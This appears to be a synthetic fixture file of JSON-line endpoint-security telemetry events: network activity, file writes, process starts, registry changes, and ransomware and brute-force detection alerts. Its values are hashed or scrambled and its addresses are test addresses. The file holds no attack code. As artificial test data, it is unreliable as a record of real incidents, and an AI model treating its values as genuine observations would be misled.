-{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
-{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"}
-{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"}
-{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"}
-{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"}
-{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"}
-{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"}
-{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"}
-{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"}
-{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
-{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"}
-{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
